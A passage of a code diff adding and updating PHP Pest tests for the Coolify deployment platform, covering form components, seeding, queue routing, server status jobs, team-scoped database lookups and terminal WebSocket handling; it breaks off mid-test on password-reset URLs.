it('renders password textarea input before visibility toggle in tab order', function () {
$html = Blade::render('<x-forms.textarea type="password" id="secret" />');
expect(strpos($html, '<input'))->toBeLessThan(strpos($html, 'aria-label="Toggle password visibility"'));
});
it('renders textarea without monospace classes by default', function () {
$html = Blade::render('<x-forms.textarea id="notes" />');
expect($html)
->toContain('class="input scrollbar"')
->not->toContain('font-mono');
});
it('renders textarea with monospace classes when requested', function () {
$html = Blade::render('<x-forms.textarea id="variables" monospace />');
expect($html)->toContain('class="input scrollbar font-mono"');
});
it('resets password visibility on success event for env-var-input', function () {
$html = Blade::render('<x-forms.env-var-input type="password" id="secret" />');
expect($html)
->toContain("@success.window=\"type = 'password'\"")
->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"")
->toContain('x-bind:type="type"');
});
it('renders env var password input before visibility toggle in tab order', function () {
$html = Blade::render('<x-forms.env-var-input type="password" id="secret" />');
expect(strpos($html, '<input'))->toBeLessThan(strpos($html, 'aria-label="Toggle password visibility"'));
});
+68
View File
@@ -0,0 +1,68 @@
<?php
use App\Actions\Fortify\CreateNewUser;
use App\Actions\Proxy\StartProxy;
use App\Models\Server;
use App\Models\SharedEnvironmentVariable;
use App\Models\SslCertificate;
use App\Models\Team;
use Database\Seeders\ProductionSeeder;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Queue;
uses(RefreshDatabase::class);
it('creates the root team before seeding the localhost server and predefined shared variables', function () {
config([
'broadcasting.default' => 'log',
'constants.coolify.is_windows_docker_desktop' => true,
]);
Queue::fake();
StartProxy::shouldRun()->andReturn('OK');
Server::creating(function (Server $server) {
if ((int) $server->getKey() === 0) {
expect(Team::find(0))->not->toBeNull();
}
});
Server::created(function (Server $server) {
SslCertificate::create([
'server_id' => $server->id,
'common_name' => 'Coolify CA Certificate',
'ssl_certificate' => 'certificate',
'ssl_private_key' => 'private-key',
'valid_until' => now()->addYear(),
'is_ca_certificate' => true,
]);
});
$this->seed(ProductionSeeder::class);
$rootTeam = Team::find(0);
$localhostServer = Server::find(0);
expect($rootTeam)->not->toBeNull()
->and($localhostServer)->not->toBeNull()
->and($localhostServer->team_id)->toBe(0);
expect(SharedEnvironmentVariable::query()
->where('type', 'server')
->where('server_id', 0)
->where('team_id', 0)
->pluck('key')
->all()
)->toContain('COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME');
instanceSettings()->update(['is_registration_enabled' => true]);
$rootUser = app(CreateNewUser::class)->create([
'name' => 'Root User',
'email' => 'root@example.com',
'password' => 'Password123!',
'password_confirmation' => 'Password123!',
]);
expect(Team::whereKey(0)->count())->toBe(1)
->and($rootUser->teams()->where('team_id', 0)->exists())->toBeTrue();
});
@@ -0,0 +1,43 @@
<?php
it('adds profile navigation with an appearance tab and route', function () {
$routes = file_get_contents(base_path('routes/web.php'));
$profileNavbar = file_get_contents(resource_path('views/components/profile/navbar.blade.php'));
$profileView = file_get_contents(resource_path('views/livewire/profile/index.blade.php'));
expect($routes)
->toContain("Route::get('/profile/appearance', ProfileAppearance::class)->name('profile.appearance')")
->and($profileNavbar)
->toContain('route(\'profile\')')
->toContain('route(\'profile.appearance\')')
->toContain('General')
->toContain('Appearance')
->and($profileView)
->toContain('<x-profile.navbar />')
->not->toContain('<h1>Profile</h1>\n <div class="subtitle -mt-2">');
});
it('moves appearance preferences to the profile appearance view', function () {
$appearanceView = file_get_contents(resource_path('views/livewire/profile/appearance.blade.php'));
expect($appearanceView)
->toContain('<x-profile.navbar />')
->toContain("setTheme('light')")
->toContain("setTheme('system')")
->toContain("setTheme('dark')")
->toContain("setWidth('center')")
->toContain("setWidth('full')")
->toContain("setZoom('100')")
->toContain("setZoom('90')")
->toContain('aria-label="Use light theme"')
->toContain('aria-label="Use system theme"')
->toContain('aria-label="Use dark theme"')
->toContain('aria-label="Use centered width"')
->toContain('aria-label="Use full width"')
->toContain('aria-label="Use 100 percent zoom"')
->toContain('aria-label="Use 90 percent zoom"')
->toContain('max-w-2xl')
->toContain('class="space-y-1.5"')
->toContain('gap-1.5')
->toContain('px-2 py-1 text-sm');
});
@@ -0,0 +1,71 @@
<?php
use Spatie\Url\Url;
/**
* Tests for branch name parsing from Git repository URLs.
* Verifies that branch names containing slashes (e.g., fix/something)
* are correctly extracted from URLs like /tree/fix/something.
*/
function parseBranchFromUrl(string $url): array
{
$parsed = Url::fromString($url);
$branch = 'main';
$baseDirectory = '/';
if ($parsed->getSegment(3) === 'tree') {
$path = str($parsed->getPath())->trim('/');
$branch = str($path)->after('tree/')->value();
$baseDirectory = '/';
}
return [
'branch' => $branch,
'base_directory' => $baseDirectory,
'repository' => $parsed->getSegment(1).'/'.$parsed->getSegment(2),
];
}
test('parses simple branch from GitHub URL', function () {
$result = parseBranchFromUrl('https://github.com/andrasbacsai/coolify-examples/tree/main');
expect($result['branch'])->toBe('main');
expect($result['base_directory'])->toBe('/');
expect($result['repository'])->toBe('andrasbacsai/coolify-examples');
});
test('parses branch with slash from GitHub URL', function () {
$result = parseBranchFromUrl('https://github.com/andrasbacsai/coolify-examples-1/tree/fix/8854-env-var-fallback-volume');
expect($result['branch'])->toBe('fix/8854-env-var-fallback-volume');
expect($result['base_directory'])->toBe('/');
expect($result['repository'])->toBe('andrasbacsai/coolify-examples-1');
});
test('parses branch with multiple slashes from GitHub URL', function () {
$result = parseBranchFromUrl('https://github.com/user/repo/tree/feature/team/new-widget');
expect($result['branch'])->toBe('feature/team/new-widget');
expect($result['base_directory'])->toBe('/');
});
test('defaults to main branch when no tree segment in URL', function () {
$result = parseBranchFromUrl('https://github.com/andrasbacsai/coolify-examples');
expect($result['branch'])->toBe('main');
expect($result['base_directory'])->toBe('/');
});
test('parses version-style branch with slash from GitHub URL', function () {
$result = parseBranchFromUrl('https://github.com/coollabsio/coolify-examples/tree/release/v2.0');
expect($result['branch'])->toBe('release/v2.0');
expect($result['base_directory'])->toBe('/');
});
test('parses branch from non-GitHub URL with tree segment', function () {
$result = parseBranchFromUrl('https://gitlab.com/user/repo/tree/hotfix/critical-bug');
expect($result['branch'])->toBe('hotfix/critical-bug');
expect($result['base_directory'])->toBe('/');
});
+72
View File
@@ -0,0 +1,72 @@
<?php
use App\Jobs\PullChangelog;
use Illuminate\Support\Facades\File;
use Illuminate\Support\Facades\Http;
/**
* Fake releases land in a month that no real release uses, so the generated
* changelog file never collides with committed changelogs.
*/
function fakeReleasesPayload(): array
{
return [
[
'tag_name' => 'v9.9.9',
'name' => 'Test Release',
'body' => 'Released notes here.',
'draft' => false,
'published_at' => '1999-01-15T00:00:00Z',
],
[
'tag_name' => 'v9.9.8-draft',
'name' => 'Draft Release',
'body' => 'Should be skipped.',
'draft' => true,
'published_at' => '1999-01-10T00:00:00Z',
],
];
}
afterEach(function () {
File::delete(base_path('changelogs/1999-01.json'));
});
test('releases_url config defaults to the GitHub raw source', function () {
expect(config('constants.coolify.releases_url'))
->toBe('https://raw.githubusercontent.com/coollabsio/coolify-cdn/main/json/releases.json');
});
test('PullChangelog fetches from the configured releases_url and writes the changelog', function () {
config(['constants.coolify.releases_url' => 'https://example.test/releases.json']);
Http::fake([
'https://example.test/releases.json' => Http::response(fakeReleasesPayload(), 200),
]);
(new PullChangelog)->handle();
Http::assertSent(fn ($request) => $request->url() === 'https://example.test/releases.json');
$path = base_path('changelogs/1999-01.json');
expect(File::exists($path))->toBeTrue();
$data = json_decode(File::get($path), true);
expect($data['entries'])->toHaveCount(1)
->and($data['entries'][0]['tag_name'])->toBe('v9.9.9');
});
test('PullChangelog skips draft releases', function () {
config(['constants.coolify.releases_url' => 'https://example.test/releases.json']);
Http::fake([
'https://example.test/releases.json' => Http::response(fakeReleasesPayload(), 200),
]);
(new PullChangelog)->handle();
$data = json_decode(File::get(base_path('changelogs/1999-01.json')), true);
$tags = array_column($data['entries'], 'tag_name');
expect($tags)->not->toContain('v9.9.8-draft');
});
@@ -1,17 +1,19 @@
<?php
use App\Jobs\PushServerUpdateJob;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\StandalonePostgresql;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
test('database last_online_at is updated when status unchanged', function () {
test('database last_online_at is not updated when status is unchanged', function () {
$team = Team::factory()->create();
$database = StandalonePostgresql::factory()->create([
'team_id' => $team->id,
$database = createPushUpdatePostgresql($team, [
'status' => 'running:healthy',
'last_online_at' => now()->subMinutes(5),
]);
@@ -40,15 +42,13 @@ test('database last_online_at is updated when status unchanged', function () {
$database->refresh();
// last_online_at should be updated even though status didn't change
expect($database->last_online_at->greaterThan($oldLastOnline))->toBeTrue();
expect((string) $database->last_online_at)->toBe((string) $oldLastOnline);
expect($database->status)->toBe('running:healthy');
});
test('database status is updated when container status changes', function () {
$team = Team::factory()->create();
$database = StandalonePostgresql::factory()->create([
'team_id' => $team->id,
$database = createPushUpdatePostgresql($team, [
'status' => 'exited',
]);
@@ -79,8 +79,7 @@ test('database status is updated when container status changes', function () {
test('database is not marked exited when containers list is empty', function () {
$team = Team::factory()->create();
$database = StandalonePostgresql::factory()->create([
'team_id' => $team->id,
$database = createPushUpdatePostgresql($team, [
'status' => 'running:healthy',
]);
@@ -99,3 +98,31 @@ test('database is not marked exited when containers list is empty', function ()
// Status should remain running, NOT be set to exited
expect($database->status)->toBe('running:healthy');
});
function createPushUpdatePostgresql(Team $team, array $attributes = []): StandalonePostgresql
{
$lastOnlineAt = $attributes['last_online_at'] ?? null;
unset($attributes['last_online_at']);
$server = Server::factory()->create(['team_id' => $team->id]);
$destination = StandaloneDocker::where('server_id', $server->id)->first()
?? StandaloneDocker::factory()->create(['server_id' => $server->id]);
$project = Project::factory()->create(['team_id' => $team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$database = StandalonePostgresql::create(array_merge([
'uuid' => (string) str()->uuid(),
'name' => 'postgres-'.str()->random(8),
'postgres_password' => 'secret',
'status' => 'exited',
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
'environment_id' => $environment->id,
], $attributes));
if ($lastOnlineAt !== null) {
$database->forceFill(['last_online_at' => $lastOnlineAt])->saveQuietly();
}
return $database;
}
@@ -16,10 +16,29 @@ beforeEach(function () {
Cache::flush();
});
it('dispatches storage check when disk percentage changes', function () {
it('dispatches storage check when disk percentage changes above threshold', function () {
$team = Team::factory()->create();
$server = Server::factory()->create(['team_id' => $team->id]);
// Default notification threshold is 80%.
$data = [
'containers' => [],
'filesystem_usage_root' => ['used_percentage' => 85],
];
$job = new PushServerUpdateJob($server, $data);
$job->handle();
Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) {
return $job->server->id === $server->id && $job->percentage === 85;
});
});
it('does not dispatch storage check when disk usage is below threshold', function () {
$team = Team::factory()->create();
$server = Server::factory()->create(['team_id' => $team->id]);
// 45% is well below the default 80% notification threshold — nothing to do.
$data = [
'containers' => [],
'filesystem_usage_root' => ['used_percentage' => 45],
@@ -28,8 +47,39 @@ it('dispatches storage check when disk percentage changes', function () {
$job = new PushServerUpdateJob($server, $data);
$job->handle();
Queue::assertNotPushed(ServerStorageCheckJob::class);
});
it('clears stale storage cache when disk usage drops below threshold', function () {
$team = Team::factory()->create();
$server = Server::factory()->create(['team_id' => $team->id]);
$storageCacheKey = 'storage-check:'.$server->id;
Cache::put($storageCacheKey, 85, 600);
$belowThresholdData = [
'containers' => [],
'filesystem_usage_root' => ['used_percentage' => 45],
];
$job = new PushServerUpdateJob($server, $belowThresholdData);
$job->handle();
Queue::assertNotPushed(ServerStorageCheckJob::class);
expect(Cache::missing($storageCacheKey))->toBeTrue();
Queue::fake();
$aboveThresholdData = [
'containers' => [],
'filesystem_usage_root' => ['used_percentage' => 85],
];
$job = new PushServerUpdateJob($server, $aboveThresholdData);
$job->handle();
Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) {
return $job->server->id === $server->id && $job->percentage === 45;
return $job->server->id === $server->id && $job->percentage === 85;
});
});
@@ -37,12 +87,12 @@ it('does not dispatch storage check when disk percentage is unchanged', function
$team = Team::factory()->create();
$server = Server::factory()->create(['team_id' => $team->id]);
// Simulate a previous push that cached the percentage
Cache::put('storage-check:'.$server->id, 45, 600);
// Simulate a previous push that cached the percentage (above threshold).
Cache::put('storage-check:'.$server->id, 85, 600);
$data = [
'containers' => [],
'filesystem_usage_root' => ['used_percentage' => 45],
'filesystem_usage_root' => ['used_percentage' => 85],
];
$job = new PushServerUpdateJob($server, $data);
@@ -55,19 +105,19 @@ it('dispatches storage check when disk percentage changes from cached value', fu
$team = Team::factory()->create();
$server = Server::factory()->create(['team_id' => $team->id]);
// Simulate a previous push that cached 45%
Cache::put('storage-check:'.$server->id, 45, 600);
// Simulate a previous push that cached 85% (above threshold).
Cache::put('storage-check:'.$server->id, 85, 600);
$data = [
'containers' => [],
'filesystem_usage_root' => ['used_percentage' => 50],
'filesystem_usage_root' => ['used_percentage' => 90],
];
$job = new PushServerUpdateJob($server, $data);
$job->handle();
Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) {
return $job->server->id === $server->id && $job->percentage === 50;
return $job->server->id === $server->id && $job->percentage === 90;
});
});
@@ -140,6 +190,36 @@ it('dispatches ConnectProxyToNetworksJob again after cache expires', function ()
Queue::assertPushed(ConnectProxyToNetworksJob::class, 1);
});
it('respects the configured proxy connect interval', function () {
// Interval 0 → the connect-proxy gate key expires immediately, so every
// push re-dispatches without a manual Cache::forget. Proves the TTL is
// driven by config('constants.proxy.connect_networks_interval_seconds').
config(['constants.proxy.connect_networks_interval_seconds' => 0]);
$team = Team::factory()->create();
$server = Server::factory()->create(['team_id' => $team->id]);
$server->settings->update(['is_reachable' => true, 'is_usable' => true]);
$data = [
'containers' => [
[
'name' => 'coolify-proxy',
'state' => 'running',
'health_status' => 'healthy',
'labels' => ['coolify.managed' => true],
],
],
'filesystem_usage_root' => ['used_percentage' => 10],
];
(new PushServerUpdateJob($server, $data))->handle();
Queue::assertPushed(ConnectProxyToNetworksJob::class, 1);
Queue::fake();
(new PushServerUpdateJob($server, $data))->handle();
Queue::assertPushed(ConnectProxyToNetworksJob::class, 1);
});
it('uses default queue for PushServerUpdateJob', function () {
$team = Team::factory()->create();
$server = Server::factory()->create(['team_id' => $team->id]);
+11 -4
View File
@@ -4,17 +4,21 @@ use App\Jobs\PushServerUpdateJob;
use App\Models\Server;
use App\Models\Service;
use App\Models\ServiceApplication;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
test('containers with empty service subId are skipped', function () {
$server = Server::factory()->create();
$team = Team::factory()->create();
$server = Server::factory()->create(['team_id' => $team->id]);
$service = Service::factory()->create([
'server_id' => $server->id,
]);
$serviceApp = ServiceApplication::factory()->create([
$serviceApp = ServiceApplication::create([
'service_id' => $service->id,
'uuid' => (string) str()->uuid(),
'name' => 'app-'.str()->random(8),
]);
$data = [
@@ -44,12 +48,15 @@ test('containers with empty service subId are skipped', function () {
});
test('containers with valid service subId are processed', function () {
$server = Server::factory()->create();
$team = Team::factory()->create();
$server = Server::factory()->create(['team_id' => $team->id]);
$service = Service::factory()->create([
'server_id' => $server->id,
]);
$serviceApp = ServiceApplication::factory()->create([
$serviceApp = ServiceApplication::create([
'service_id' => $service->id,
'uuid' => (string) str()->uuid(),
'name' => 'app-'.str()->random(8),
]);
$data = [
@@ -0,0 +1,70 @@
<?php
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\StandalonePostgresql;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->teamA = Team::factory()->create();
$this->teamB = Team::factory()->create();
$this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
$this->destinationA = StandaloneDocker::where('server_id', $this->serverA->id)->first();
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
$this->envA = Environment::factory()->create(['project_id' => $this->projectA->id]);
});
test('queryDatabaseByUuidWithinTeam returns database when team owns it', function () {
$database = StandalonePostgresql::create([
'name' => 'pg-team-a',
'image' => 'postgres:15-alpine',
'postgres_user' => 'postgres',
'postgres_password' => 'password',
'postgres_db' => 'postgres',
'environment_id' => $this->envA->id,
'destination_id' => $this->destinationA->id,
'destination_type' => $this->destinationA->getMorphClass(),
]);
$found = queryDatabaseByUuidWithinTeam($database->uuid, (string) $this->teamA->id);
expect($found)->not->toBeNull();
expect($found->uuid)->toBe($database->uuid);
expect($found)->toBeInstanceOf(StandalonePostgresql::class);
});
test('queryDatabaseByUuidWithinTeam returns null when team does not own the database', function () {
$database = StandalonePostgresql::create([
'name' => 'pg-team-a',
'image' => 'postgres:15-alpine',
'postgres_user' => 'postgres',
'postgres_password' => 'password',
'postgres_db' => 'postgres',
'environment_id' => $this->envA->id,
'destination_id' => $this->destinationA->id,
'destination_type' => $this->destinationA->getMorphClass(),
]);
$found = queryDatabaseByUuidWithinTeam($database->uuid, (string) $this->teamB->id);
expect($found)->toBeNull();
});
test('queryDatabaseByUuidWithinTeam returns null for unknown uuid', function () {
$found = queryDatabaseByUuidWithinTeam('does-not-exist', (string) $this->teamA->id);
expect($found)->toBeNull();
});
test('queryDatabaseByUuidWithinTeam can query every registered standalone database type without error', function () {
foreach (STANDALONE_DATABASE_MODELS as $slug => $modelClass) {
$count = $modelClass::query()->whereUuid('non-existent-uuid')->count();
expect($count)->toBe(0, "{$modelClass} ({$slug}) failed whereUuid() smoke query");
}
});
@@ -0,0 +1,107 @@
<?php
use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Bus;
uses(RefreshDatabase::class);
beforeEach(function () {
Bus::fake([ApplicationDeploymentJob::class]);
$this->team = Team::factory()->create();
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::factory()->create([
'server_id' => $this->server->id,
'network' => 'test-network-'.fake()->unique()->word(),
]);
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
function makeApplication(int $environmentId, int $destinationId, ?string $gitCommitSha): Application
{
$attributes = [
'environment_id' => $environmentId,
'destination_id' => $destinationId,
'destination_type' => StandaloneDocker::class,
];
if ($gitCommitSha !== null) {
$attributes['git_commit_sha'] = $gitCommitSha;
}
return Application::factory()->create($attributes);
}
describe('queue_application_deployment commit resolution', function () {
test('uses application git_commit_sha when commit parameter omitted', function () {
$pinnedSha = 'abc123def456abc123def456abc123def456abc1';
$application = makeApplication($this->environment->id, $this->destination->id, $pinnedSha);
$result = queue_application_deployment(
application: $application,
deployment_uuid: 'test-deploy-uuid-1',
);
expect($result['status'])->toBe('queued');
$deployment = ApplicationDeploymentQueue::where('deployment_uuid', 'test-deploy-uuid-1')->first();
expect($deployment)->not->toBeNull();
expect($deployment->commit)->toBe($pinnedSha);
});
test('falls back to HEAD when both commit parameter and git_commit_sha are unset', function () {
$application = makeApplication($this->environment->id, $this->destination->id, 'HEAD');
$result = queue_application_deployment(
application: $application,
deployment_uuid: 'test-deploy-uuid-2',
);
expect($result['status'])->toBe('queued');
$deployment = ApplicationDeploymentQueue::where('deployment_uuid', 'test-deploy-uuid-2')->first();
expect($deployment->commit)->toBe('HEAD');
});
test('explicit commit parameter overrides application git_commit_sha', function () {
$pinnedSha = 'abc123def456abc123def456abc123def456abc1';
$webhookSha = '111222333444555666777888999000aaabbbccc1';
$application = makeApplication($this->environment->id, $this->destination->id, $pinnedSha);
$result = queue_application_deployment(
application: $application,
deployment_uuid: 'test-deploy-uuid-3',
commit: $webhookSha,
);
expect($result['status'])->toBe('queued');
$deployment = ApplicationDeploymentQueue::where('deployment_uuid', 'test-deploy-uuid-3')->first();
expect($deployment->commit)->toBe($webhookSha);
});
test('treats empty string commit parameter as unset and uses git_commit_sha', function () {
$pinnedSha = 'abc123def456abc123def456abc123def456abc1';
$application = makeApplication($this->environment->id, $this->destination->id, $pinnedSha);
$result = queue_application_deployment(
application: $application,
deployment_uuid: 'test-deploy-uuid-4',
commit: '',
);
expect($result['status'])->toBe('queued');
$deployment = ApplicationDeploymentQueue::where('deployment_uuid', 'test-deploy-uuid-4')->first();
expect($deployment->commit)->toBe($pinnedSha);
});
});
+74
View File
@@ -0,0 +1,74 @@
<?php
use App\Actions\Database\StartDatabase;
use App\Actions\Database\StartDatabaseProxy;
use App\Actions\Service\StartService;
use App\Jobs\DatabaseBackupJob;
use App\Jobs\ScheduledJobManager;
use App\Models\ScheduledDatabaseBackup;
describe('deployment_queue helper', function () {
test('uses the high queue on self-hosted', function () {
config(['constants.coolify.self_hosted' => true]);
expect(deployment_queue())->toBe('high');
});
test('uses the deployments queue on cloud', function () {
config(['constants.coolify.self_hosted' => false]);
expect(deployment_queue())->toBe('deployments');
});
});
describe('crons_queue helper', function () {
test('uses the high queue on self-hosted', function () {
config(['constants.coolify.self_hosted' => true]);
expect(crons_queue())->toBe('high');
});
test('uses the crons queue on cloud', function () {
config(['constants.coolify.self_hosted' => false]);
expect(crons_queue())->toBe('crons');
});
});
describe('start action job routing', function () {
test('routes to the deployments queue on cloud', function (string $actionClass) {
config(['constants.coolify.self_hosted' => false]);
expect($actionClass::makeJob()->queue)->toBe('deployments');
})->with([
StartDatabase::class,
StartDatabaseProxy::class,
StartService::class,
]);
test('routes to the high queue on self-hosted', function (string $actionClass) {
config(['constants.coolify.self_hosted' => true]);
expect($actionClass::makeJob()->queue)->toBe('high');
})->with([
StartDatabase::class,
StartDatabaseProxy::class,
StartService::class,
]);
});
describe('scheduled job routing', function () {
test('scheduled jobs use the crons queue on cloud', function () {
config(['constants.coolify.self_hosted' => false]);
expect((new ScheduledJobManager)->queue)->toBe('crons');
expect((new DatabaseBackupJob(new ScheduledDatabaseBackup))->queue)->toBe('crons');
});
test('scheduled jobs use the high queue on self-hosted', function () {
config(['constants.coolify.self_hosted' => true]);
expect((new ScheduledJobManager)->queue)->toBe('high');
expect((new DatabaseBackupJob(new ScheduledDatabaseBackup))->queue)->toBe('high');
});
});
+186 -2
View File
@@ -24,11 +24,195 @@ it('keeps terminal browser logging restricted to Vite development mode', functio
->not->toContain("console.log('[Terminal] WebSocket connection established. Cool cool cool cool cool cool.');");
});
it('keeps realtime terminal server logging restricted to development environments', function () {
it('keeps realtime terminal server logging behind the explicit debug flag', function () {
$terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js'));
expect($terminalServer)
->toContain("const terminalDebugEnabled = ['local', 'development'].includes(")
->toContain('const debugOverride = String(process.env.TERMINAL_DEBUG')
->toContain("['1', 'true', 'yes', 'on'].includes(debugOverride)")
->toContain('if (!terminalDebugEnabled) {')
->not->toContain("console.log('Coolify realtime terminal server listening on port 6002. Let the hacking begin!');");
});
it('configures a server-initiated WebSocket heartbeat to survive proxy idle timeouts', function () {
$terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js'));
expect($terminalServer)
->toContain('ws.isAlive = true;')
->toContain("ws.on('pong'")
->toContain('ws.ping();')
->toContain('ws.terminate();')
->toContain('HEARTBEAT_INTERVAL_MS');
});
it('removes the keepalive short-circuit that fired when the tab was hidden', function () {
$terminalClient = file_get_contents(base_path('resources/js/terminal.js'));
expect($terminalClient)
->not->toContain('// Skip keepalive when document is hidden to prevent unnecessary disconnects');
});
it('uses a fast probe timeout when the tab regains visibility', function () {
$terminalClient = file_get_contents(base_path('resources/js/terminal.js'));
expect($terminalClient)
->toContain("'Visibility-resume timeout'");
});
it('does not hard close terminal sessions after 30 minutes on the server', function () {
$terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js'));
expect($terminalServer)
->not->toContain('IDLE_TIMEOUT_MS = 30 * 60 * 1000')
->not->toContain("ws.send('idle-timeout');")
->not->toContain("ws.close(1000, 'Idle timeout');");
});
it('does not close the client terminal from an idle-timeout sentinel', function () {
$terminalClient = file_get_contents(base_path('resources/js/terminal.js'));
expect($terminalClient)
->not->toContain("event.data === 'idle-timeout'")
->not->toContain('Terminal closed after 30 minutes of inactivity.');
});
it('keeps Livewire alive in background tabs while a terminal is connected', function () {
$terminalComponent = file_get_contents(base_path('app/Livewire/Project/Shared/Terminal.php'));
$terminalView = file_get_contents(base_path('resources/views/livewire/project/shared/terminal.blade.php'));
expect($terminalComponent)
->toContain('public bool $isTerminalConnected = false;')
->toContain("#[On('terminalConnected')]")
->toContain('public function markTerminalConnected(): void')
->toContain('public function keepTerminalPageAlive(): void')
->and($terminalView)
->toContain('@if ($isTerminalConnected)')
->toContain('wire:poll.keep-alive.30s="keepTerminalPageAlive"');
});
it('exits fullscreen when the terminal process exits', function () {
$terminalClient = file_get_contents(resource_path('js/terminal.js'));
expect($terminalClient)
->toContain("event.data === 'pty-exited'")
->toContain('this.fullscreen = false;
this.mobileToolbarCollapsed = false;
this.terminalActive = false;');
});
it('replays the last command on reconnect so the PTY respawns automatically', function () {
$terminalClient = file_get_contents(base_path('resources/js/terminal.js'));
expect($terminalClient)
->toContain('lastSentCommand')
->toContain('Replaying last command after reconnect.')
->toContain('this.lastSentCommand = null;');
});
it('buffers messages received before the realtime server finishes auth so the replay is not lost', function () {
$terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js'));
expect($terminalServer)
->toContain('authReady: false')
->toContain('pendingMessages: []')
->toContain('userSession.pendingMessages.push(message)')
->toContain('userSession.authReady = true');
});
it('preserves terminal scrollback across transient reconnects', function () {
$terminalClient = file_get_contents(base_path('resources/js/terminal.js'));
expect($terminalClient)
->toContain('── Connection lost at')
->toContain('── Reconnected at')
// resetTerminal must NOT call term.reset()/term.clear() any more — those wipe scrollback.
->not->toContain("this.term.reset();\n this.term.clear();");
});
it('renders a compact mobile terminal toolbar with shell control keys', function () {
$terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));
$appCss = file_get_contents(resource_path('css/app.css'));
expect($terminalView)
->toContain('Terminal keys')
->toContain('sm:hidden')
->toContain("sendTerminalControl('arrowUp')")
->toContain("sendTerminalControl('arrowDown')")
->toContain("sendTerminalControl('arrowLeft')")
->toContain("sendTerminalControl('arrowRight')")
->toContain("sendTerminalControl('tab')")
->toContain("sendTerminalControl('escape')")
->not->toContain("sendTerminalControl('ctrlC')")
->not->toContain('pasteFromClipboard()')
->not->toContain('copyTerminalSelection()')
->toContain('mobileToolbarCollapsed')
->toContain("fullscreen ? 'absolute inset-x-0 bottom-0 z-[9999] px-2 pb-2' : 'relative mt-2'")
->toContain('data-terminal-mobile-toolbar')
->and($appCss)
->toContain('.terminal-mobile-key');
});
it('sends terminal mobile toolbar controls through the websocket', function () {
$terminalClient = file_get_contents(resource_path('js/terminal.js'));
expect($terminalClient)
->toContain('sendTerminalInput(data)')
->toContain('sendTerminalControl(sequence)')
->toContain("arrowUp: '\\x1b[A'")
->toContain("arrowDown: '\\x1b[B'")
->toContain("arrowRight: '\\x1b[C'")
->toContain("arrowLeft: '\\x1b[D'")
->toContain("tab: '\\t'")
->toContain("escape: '\\x1b'")
->toContain("ctrlC: '\\x03'")
->toContain('navigator.clipboard.readText()')
->toContain('navigator.clipboard.writeText(selection)');
});
it('uses terminal dimensions when resizing so mobile controls do not cover terminal rows', function () {
$terminalClient = file_get_contents(resource_path('js/terminal.js'));
expect($terminalClient)
->toContain("document.getElementById('terminal')")
->toContain('terminalHeight')
->toContain('terminalWidth')
->not->toContain('const wrapperHeight = this.$refs.terminalWrapper.clientHeight;');
});
it('uses simple fullscreen bottom margin based on mobile toolbar visibility', function () {
$terminalClient = file_get_contents(resource_path('js/terminal.js'));
$terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));
expect($terminalClient)
->not->toContain('updateFullscreenLayout()')
->not->toContain('terminalFullscreenHeight')
->not->toContain('window.visualViewport?.height')
->and($terminalView)
->toContain("mobileToolbarCollapsed ? 'h-[calc(100dvh-3.5rem)] mb-14 px-2 py-1 bg-black' : 'h-[calc(100dvh-6rem)] mb-[6rem] px-2 py-1 bg-black'")
->toContain("fullscreen ? 'absolute inset-x-0 bottom-0 z-[9999] px-2 pb-2'");
});
it('resizes after toggling the mobile terminal toolbar', function () {
$terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));
expect($terminalView)
->toContain('$nextTick(() => resizeTerminal())');
});
it('uses fixed viewport positioning for fullscreen terminal instead of inherited container size', function () {
$terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));
expect($terminalView)
->toContain('fixed inset-0')
->toContain('h-[100dvh]')
->toContain('w-screen')
->toContain('max-w-none')
->toContain('overflow-hidden');
});
it('constrains normal terminal height after leaving fullscreen', function () {
$terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));
expect($terminalView)
->toContain('h-[510px] max-h-[calc(100dvh-10rem)] overflow-hidden');
});
+187
View File
@@ -0,0 +1,187 @@
<?php
use App\Models\InstanceSettings;
use App\Models\User;
use App\Notifications\TransactionalEmails\ResetPassword;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Once;
uses(RefreshDatabase::class);
beforeEach(function () {
Cache::forget('instance_settings_fqdn_host');
Once::flush();
});
function callResetUrl(ResetPassword $notification, $notifiable): string
{
$method = new ReflectionMethod($notification, 'resetUrl');
return $method->invoke($notification, $notifiable);
}
it('generates reset URL using configured FQDN, not request host', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
